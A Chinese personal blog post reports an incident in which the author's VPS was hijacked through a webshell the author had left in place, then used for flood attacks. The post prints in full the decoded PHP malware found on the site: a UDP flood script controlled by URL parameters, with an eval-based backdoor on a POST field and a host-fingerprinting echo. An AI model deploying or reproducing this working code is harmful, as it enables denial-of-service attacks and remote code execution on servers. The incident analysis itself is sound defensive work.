网站被攻击,导致VPS被禁用一天。

与2015年1月24日被某中国sb攻击,用来被当做php肉鸡对外进行洪水攻击。由于只几天没怎么管理服务器导致此后果,我自我检讨。


初步审查结果:

    由于之前方便管理,在某目录下放置一句话木马,在apache的日志里发现了python的requests的迹象,可能密码被爆破。

    之后在网站根目录发现index.bak.php文件,格式是eval(base64_decode('...')),经解码代码如下:

set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
$name=eval($_POST['time']);;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Warning to: opening";
        exit;
    }

for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }

$max_time = time()+$exec_time;
//提示。
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}

echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";

    由于发现中文注释,应该是中国的某个sb黑的。

    发现多个IP访问这个页面,应该是以我为炮台,多人放炮那种的分布式攻击。


    这两天准备好好翻翻日志,检查下是不是zblog的漏洞。不过日志默认不记录post,也不好说。


本文由Hack Blog原创,如需转载注明原文链接

作者:test 分类:日常笔记 浏览:1622 评论:0
留言列表
发表评论
来宾的头像